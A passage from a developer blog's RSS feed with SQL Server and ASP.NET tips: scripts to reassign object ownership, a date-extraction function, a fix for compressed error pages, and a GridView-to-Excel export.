&nbsp; IF EXISTS (SELECT NULL FROM INFORMATION_SCHEMA.TABLES<br />
&nbsp; WHERE<br />
&nbsp; &nbsp; &nbsp; QUOTENAME(TABLE_SCHEMA)+'</span><span style="color: #ff0000;">'.'</span><span style="color: #ff0000;">'+QUOTENAME(TABLE_NAME) = '</span><span style="color: #ff0000;">'?'</span><span style="color: #ff0000;">'<br />
&nbsp; &nbsp; &nbsp; AND TABLE_SCHEMA = '</span><span style="color: #ff0000;">''</span> <span style="color: #66cc66;">+</span> @crtOwner<span style="color: #66cc66;">+</span> <span style="color: #ff0000;">''</span><span style="color: #ff0000;">'<br />
&nbsp; )<br />
&nbsp; EXECUTE sp_changeobjectowner '</span><span style="color: #ff0000;">'?'</span><span style="color: #ff0000;">', '</span><span style="color: #ff0000;">''</span> <span style="color: #66cc66;">+</span> @newOwner <span style="color: #66cc66;">+</span> <span style="color: #ff0000;">''</span><span style="color: #ff0000;">''</span><br />
<br />
<span style="color: #993333; font-weight: bold;">EXECUTE</span> sp_MSforeachtable @<span style="color: #993333; font-weight: bold;">SQL</span></div></div></div>

<p>For stored procs, execute this stored proc to get the sqls required for changing the owner.<br />
Then copy the resulted sqls and run them in a new query.</p>

<div class="wp_syntax"><div class="code"><div class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">DECLARE</span> @crtOwner sysname<span style="color: #66cc66;">,</span> @newOwner sysname<br />
<span style="color: #993333; font-weight: bold;">SELECT</span> @crtOwner<span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'currentOwner_ToChange'</span><span style="color: #66cc66;">,</span> @newOwner <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'dbo'</span><br />
<br />
<span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #ff0000;">'EXECUTE sp_changeobjectowner '</span><span style="color: #ff0000;">''</span><span style="color: #66cc66;">+</span>QUOTENAME<span style="color: #66cc66;">&#40;</span>a<span style="color: #66cc66;">.</span>SPECIFIC_SCHEMA<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+</span><br />
<span style="color: #ff0000;">'.'</span><span style="color: #66cc66;">+</span>QUOTENAME<span style="color: #66cc66;">&#40;</span>a<span style="color: #66cc66;">.</span>ROUTINE_NAME<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+</span><br />
<span style="color: #ff0000;">''</span><span style="color: #ff0000;">','</span><span style="color: #ff0000;">''</span><span style="color: #66cc66;">+</span>@newOwner<span style="color: #66cc66;">+</span><span style="color: #ff0000;">''</span><span style="color: #ff0000;">''</span><br />
<span style="color: #993333; font-weight: bold;">FROM</span><br />
&nbsp; &nbsp; INFORMATION_SCHEMA<span style="color: #66cc66;">.</span>ROUTINES a<br />
<span style="color: #993333; font-weight: bold;">WHERE</span><br />
&nbsp; &nbsp; a<span style="color: #66cc66;">.</span>ROUTINE_TYPE <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'PROCEDURE'</span><br />
&nbsp; &nbsp; <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>SPECIFIC_SCHEMA <span style="color: #66cc66;">=</span> @crtOwner<br />
&nbsp; &nbsp; <span style="color: #993333; font-weight: bold;">AND</span><br />
OBJECTPROPERTY<span style="color: #66cc66;">&#40;</span>OBJECT_ID<span style="color: #66cc66;">&#40;</span>QUOTENAME<span style="color: #66cc66;">&#40;</span>a<span style="color: #66cc66;">.</span>SPECIFIC_SCHEMA<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+</span><span style="color: #ff0000;">'.'</span><span style="color: #66cc66;">+</span>QUOTENAME<span style="color: #66cc66;">&#40;</span>a<span style="color: #66cc66;">.</span>ROUTINE_NAME<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'IsMSShipped'</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">=</span> <span style="color: #cc66cc;">0</span></div></div></div>

<p>for views:</p>

<div class="wp_syntax"><div class="code"><div class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">DECLARE</span> @crtOwner sysname<span style="color: #66cc66;">,</span> @newOwner sysname<br />
<span style="color: #993333; font-weight: bold;">SELECT</span><br />
&nbsp; &nbsp;@crtOwner <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'currentOwner_ToChange'</span><span style="color: #66cc66;">,</span> @newOwner <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'dbo'</span><br />
<span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #ff0000;">'EXECUTE sp_changeobjectowner '</span><span style="color: #ff0000;">''</span><span style="color: #66cc66;">+</span>QUOTENAME<span style="color: #66cc66;">&#40;</span>a<span style="color: #66cc66;">.</span>TABLE_SCHEMA<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+</span><span style="color: #ff0000;">'.'</span><span style="color: #66cc66;">+</span>QUOTENAME<span style="color: #66cc66;">&#40;</span>a<span style="color: #66cc66;">.</span><span style="color: #993333; font-weight: bold;">TABLE_NAME</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+</span><span style="color: #ff0000;">''</span><span style="color: #ff0000;">','</span><span style="color: #ff0000;">''</span><span style="color: #66cc66;">+</span>@newOwner<span style="color: #66cc66;">+</span><span style="color: #ff0000;">''</span><span style="color: #ff0000;">''</span><br />
<span style="color: #993333; font-weight: bold;">FROM</span><br />
&nbsp; &nbsp;INFORMATION_SCHEMA<span style="color: #66cc66;">.</span>VIEWS a<br />
<span style="color: #993333; font-weight: bold;">WHERE</span><br />
&nbsp; &nbsp;a<span style="color: #66cc66;">.</span>TABLE_SCHEMA <span style="color: #66cc66;">=</span> @crtOwner <br />
&nbsp; &nbsp;<span style="color: #993333; font-weight: bold;">AND</span><br />
OBJECTPROPERTY<span style="color: #66cc66;">&#40;</span>OBJECT_ID<span style="color: #66cc66;">&#40;</span>QUOTENAME<span style="color: #66cc66;">&#40;</span>a<span style="color: #66cc66;">.</span>TABLE_SCHEMA<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+</span><span style="color: #ff0000;">'.'</span><span style="color: #66cc66;">+</span>QUOTENAME<span style="color: #66cc66;">&#40;</span>a<span style="color: #66cc66;">.</span><span style="color: #993333; font-weight: bold;">TABLE_NAME</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'IsMSShipped'</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">=</span> <span style="color: #cc66cc;">0</span></div></div></div>

]]></content:encoded>
			<wfw:commentRss>http://awake.ro/lightblog/sql-table-ownership-change.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MSSQL function to return the date part from a datetime</title>
		<link>http://awake.ro/lightblog/mssql-function-to-return-the-date-part-from-a-datetime.html</link>
		<comments>http://awake.ro/lightblog/mssql-function-to-return-the-date-part-from-a-datetime.html#comments</comments>
		<pubDate>Mon, 12 Dec 2011 12:48:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Database]]></category>

		<guid isPermaLink="false">http://awake.ro/lightblog/?p=116</guid>
		<description><![CDATA[in MSSQL, to return only the date part from a datetime , use this function: CREATE FUNCTION GetDatePart &#40;@dt datetime&#41; RETURNS datetime AS BEGIN DECLARE @Today AS DATETIME SET @Today = DATEDIFF&#40;dd, 0, @dt&#41; RETURN @Today END An alternative approach: SELECT CONVERT&#40;VARCHAR&#40;10&#41;,GETDATE&#40;&#41;,111&#41; This provides quick support to convert the date in any format. The table [...]]]></description>
			<content:encoded><![CDATA[<p>in MSSQL, to return only <strong>the date part from a datetime </strong>,<br />
use this function:</p>

<div class="wp_syntax"><div class="code"><div class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">FUNCTION</span> GetDatePart <span style="color: #66cc66;">&#40;</span>@dt datetime<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">RETURNS</span> datetime<br />
<span style="color: #993333; font-weight: bold;">AS</span><br />
<span style="color: #993333; font-weight: bold;">BEGIN</span><br />
<span style="color: #993333; font-weight: bold;">DECLARE</span> @Today <span style="color: #993333; font-weight: bold;">AS</span> DATETIME<br />
<span style="color: #993333; font-weight: bold;">SET</span> @Today <span style="color: #66cc66;">=</span> DATEDIFF<span style="color: #66cc66;">&#40;</span>dd<span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">,</span> @dt<span style="color: #66cc66;">&#41;</span> <br />
<span style="color: #993333; font-weight: bold;">RETURN</span> @Today<br />
<span style="color: #993333; font-weight: bold;">END</span></div></div></div>

<p>An alternative approach:</p>

<div class="wp_syntax"><div class="code"><div class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">CONVERT</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>GETDATE<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">111</span><span style="color: #66cc66;">&#41;</span></div></div></div>

<p>This provides quick support to convert the date in any format. The table which suggest the date formats are displayed on MSDN:</p>
<p>http://msdn.microsoft.com/en-us/library/ms187928.aspx</p>
<p>Some claims that using CONVERT is slower than using DATE functions, i made some tests and find out that it is approximately the same thing.<br />
For a loop with 2 million iterations, the elapsed time for first approach was: 8186 ms, for the second approach was: 8253 ms.</p>
]]></content:encoded>
			<wfw:commentRss>http://awake.ro/lightblog/mssql-function-to-return-the-date-part-from-a-datetime.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP.NET IIS Error display as garbage</title>
		<link>http://awake.ro/lightblog/asp-net-iis-error-display-as-garbage.html</link>
		<comments>http://awake.ro/lightblog/asp-net-iis-error-display-as-garbage.html#comments</comments>
		<pubDate>Thu, 08 Dec 2011 16:55:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://awake.ro/lightblog/?p=103</guid>
		<description><![CDATA[Recently got into the situation that my .NET application displayed garbage instead of the error. Not to pleasant to work like this. �`I�%&#038;/m�{J�J��t��`$ؐ@������iG#)�*��eVe]f@�흼��{���{���;�N&#8217;���?\fdl��J�ɞ!���?~&#124;?&#8221;��Ey�&#8217;)=��y6����h���ly���,-��E;Oϫ:��&#8217;Y�o��N��Y�����]i�h���tRͮ�_&#124;^-���lQ�׏>�ɼ�e��C��*/.��eU/�R>j����&#124;q8�ʪ~4)����_�zpW�����b��V�G���ջ_��z������w�_�� �7�݃U����, After some researches, discovered that my app was using Telerik compression, thus the displayed ascii instead of the actual error. What i did, was to comment the line that added the [...]]]></description>
			<content:encoded><![CDATA[<p>Recently got into the situation that my .NET application displayed garbage instead of the error. Not to pleasant to work like this.</p>
<p>�`I�%&#038;/m�{J�J��t��`$ؐ@������iG#)�*��eVe]f@�흼��{���{���;�N&#8217;���?\fdl��J�ɞ!���?~|?&#8221;��Ey�&#8217;)=��y6����h���ly���,-��E;Oϫ:��&#8217;Y�o��N��Y�����]i�h���tRͮ�_|^-���lQ�׏>�ɼ�e��C��*/.��eU/�R>j����|q8�ʪ~4)����_�zpW�����b��V�G���ջ_��z������w�_�� �7�݃U����,</p>
<p>After some researches, discovered that my app was using Telerik compression, thus the displayed ascii instead of the actual error.<br />
What i did, was to comment the line that added the compression in Web.config (on the dev machine only, since on the production will still be needed)</p>

<div class="wp_syntax"><div class="code"><div class="html" style="font-family:monospace;">&lt;!--&lt;add name=&quot;RadCompression&quot; type=&quot;Telerik.Web.UI.RadCompression&quot; /&gt;--&gt;</div></div></div>

<p>This key (or other key that adds a compression) may appear more times in web.config, i removed it from the system.webServer node, and finally got the error display correctly.</p>
]]></content:encoded>
			<wfw:commentRss>http://awake.ro/lightblog/asp-net-iis-error-display-as-garbage.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP.NET Export GridView data to Excel</title>
		<link>http://awake.ro/lightblog/asp-net-export-gridview-data-to-excel.html</link>
		<comments>http://awake.ro/lightblog/asp-net-export-gridview-data-to-excel.html#comments</comments>
		<pubDate>Tue, 15 Nov 2011 16:28:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://awake.ro/lightblog/?p=92</guid>
		<description><![CDATA[The easiest way in asp.net to export the data from a grid view to excel, is to render the control as html and save the file. Excel knows how to open a html file and display it correctly. The only drawback to this method is that only one sheet will be available. protected void btnExport_Click&#40;object [...]]]></description>
			<content:encoded><![CDATA[<p>The easiest way in asp.net to export the data from a grid view to excel, is to render the control as html and save the file.<br />
Excel knows how to open a html file and display it correctly. The only drawback to this method is that only one sheet will be available.</p>

<div class="wp_syntax"><div class="code"><div class="csharp" style="font-family:monospace;"><span style="color: #0600FF; font-weight: bold;">protected</span> <span style="color: #6666cc; font-weight: bold;">void</span> btnExport_Click<span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">object</span> sender, EventArgs e<span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
&nbsp; &nbsp; Response<span style="color: #008000;">.</span><span style="color: #0000FF;">Clear</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
&nbsp; &nbsp; Response<span style="color: #008000;">.</span><span style="color: #0000FF;">AddHeader</span><span style="color: #008000;">&#40;</span><span style="color: #666666;">&quot;content-disposition&quot;</span>, <span style="color: #666666;">&quot;attachment;filename=FileName.xls&quot;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
&nbsp; &nbsp; Response<span style="color: #008000;">.</span><span style="color: #0000FF;">Charset</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&quot;</span><span style="color: #008000;">;</span><br />
&nbsp; &nbsp; <span style="color: #008080; font-style: italic;">// If you want the option to open the Excel file without saving then</span><br />
&nbsp; &nbsp; <span style="color: #008080; font-style: italic;">// comment out the line below</span><br />
&nbsp; &nbsp; <span style="color: #008080; font-style: italic;">// Response.Cache.SetCacheability(HttpCacheability.NoCache);</span><br />
&nbsp; &nbsp; Response<span style="color: #008000;">.</span><span style="color: #0000FF;">ContentType</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;application/vnd.xls&quot;</span><span style="color: #008000;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000;">System.<span style="color: #0000FF;">IO</span></span><span style="color: #008000;">.</span><span style="color: #0000FF;">StringWriter</span> stringWrite <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">IO</span></span><span style="color: #008000;">.</span><span style="color: #0000FF;">StringWriter</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000;">System.<span style="color: #0000FF;">Web</span><span style="color: #008000;">.</span><span style="color: #0000FF;">UI</span></span><span style="color: #008000;">.</span><span style="color: #0000FF;">HtmlTextWriter</span> htmlWrite <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> HtmlTextWriter<span style="color: #008000;">&#40;</span>stringWrite<span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
&nbsp; &nbsp; <span style="color: #0600FF; font-weight: bold;">this</span><span style="color: #008000;">.</span><span style="color: #0000FF;">grdData</span><span style="color: #008000;">.</span><span style="color: #0000FF;">RenderControl</span><span style="color: #008000;">&#40;</span>htmlWrite<span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
&nbsp; &nbsp; Response<span style="color: #008000;">.</span><span style="color: #0000FF;">Write</span><span style="color: #008000;">&#40;</span>stringWrite<span style="color: #008000;">.</span><span style="color: #0000FF;">ToString</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
&nbsp; &nbsp; Response<span style="color: #008000;">.</span><span style="color: #0000FF;">End</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span></div></div></div>

]]></content:encoded>
			<wfw:commentRss>http://awake.ro/lightblog/asp-net-export-gridview-data-to-excel.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

